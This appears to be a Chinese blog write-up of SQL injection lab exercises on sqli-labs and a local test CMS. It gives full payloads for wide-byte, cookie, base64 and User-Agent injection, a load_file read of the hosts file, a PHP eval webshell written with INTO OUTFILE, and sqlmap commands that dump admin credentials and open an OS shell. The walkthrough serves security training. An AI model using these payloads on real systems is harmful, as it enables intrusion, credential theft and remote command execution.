Exercise:1. 宽字节注入练习 2. HTTP 头部注入练习 3. sql 注入读写文件 4. sqlmap练习

 

目录

1. 宽字节注入练习

2. HTTP 头部注入练习

3. sql 注入读写文件

4. sqlmap练习


1. 宽字节注入练习

练习: 以sqli-labs_32 关为例

http://192.168.5.140/sqli-labs-master/Less-32/?id=1

1.查看页面回显

 

 

2.输入单引号发现被服务器转义

 

  • 单双引号被转义,没有其他过滤

  • 将与数据库交互的数据字符编码设置为了GBK //通过上图315c27ascii码判断,通过查看后端代码确定

3.了解GBK编码

网址:https://www.qqxiuzi.cn/bianma/zifuji.php

GBK汉字编码方案为双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

 

4.宽字节注入获取用户名密码

?id=2%81' and 1=2 union select 1,user(),database() --+

  • %81’的作用是为了绕过单引号的过滤,使后面的单引号起到闭合字符串的作用

2. HTTP 头部注入练习

练习1. Cookie 注入,sqli-labs-20

1.进入第20关,找到cookie注入点发送get请求

2.bp抓包

 

3.放到bp中更易观察

 

 

4.尝试注入

5.cookie注入成功,获取版本号和密码信息

Cookie: uname=Dumb' and 1=2 union select 1,version(),database() #;

练习2. base64 注入,sqli-labs-22

1.通过观察使用了base64编码

 

2.通过base64编码加密即可实现语句注入

Dumb" and 1=2 union select 1,version(),database()#
加密后:
RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=

 

 

练习3. User-Agent 注入,sqli-labs-18

AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

 

 

3. sql 注入读写文件

练习1. 利用sql 注入漏洞,读取hosts 文件

1.必须修改my.inmi配置文件,并重启mysq数据库才可以进行导入导出的操作。

 

 

 

2.读取hosts 文件

​
http://192.168.5.140/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,load_file('c:\windows\system32\drivers\etc\hosts') --+

​

 

 

练习2. 利用sql 注入漏洞,上webshell,并用蚁剑连接。

1.写入木马

 

http://192.168.5.140/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,"<?php @eval($_REQUEST[777])?>",3 into outfile "C:\\phpstudy\\WWW\\1.php" --+

 

 

 

 

2.kali中蚁剑连接

http://192.168.5.140/1.php

4. sqlmap练习

练习1. 利用sqlmap 注入得到网站后台管理员账密

sudo apt-get update  
sudo apt-get install sqlmap   //更新软件
中间可能网络问题需要更新ip地址(也可能和虚拟机挂起有关)
先要对软件进行更新,否则会报错提示版本信息错误
注入点:hppt://192.168.5.140/cms/show.php?id=33
sqlmap -u "http://192.168.5.140/cms/show.php?id=33"
//执行SQLMap工具,对目标URL地址进行SQL注入攻击。

sqlmap -u "http://192.168.5.140/cms/show.php?id=33" --dbs
//获取目标数据库的所有数据库名称。

sqlmap -u "http://192.168.5.140/cms/show.php?id=33" --current-db
//获取当前正在使用的数据库的名称。

sqlmap -u "http://192.168.5.140/cms/show.php?id=33" -D "cms" --tables
//获取名为"cms"的数据库中的所有表格名称。

sqlmap -u "http://192.168.5.140/cms/show.php?id=33" -D "cms" -T "cms_users" --columns
//获取名为"cms_users"的表格中的所有列的名称。

sqlmap -u "http://192.168.5.140/cms/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
//从名为"cms_users"的表格中获取列"username"和"password"的数据,以shell格式输出。

练习2. post 注入,登录框

sqlmap -r /tmp/login.txt //进行 SQL 注入测试

sqlmap -r /tmp/post.txt --current-db //获取数据库名称

练习3. 利用sqlmap getshell。

​sqlmap -u "http://192.168.5.140/cms/show.php?id=33" --os-shell

//进行 SQL 注入攻击,获取操作系统级别的 shell,允许执行操作系统命令。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值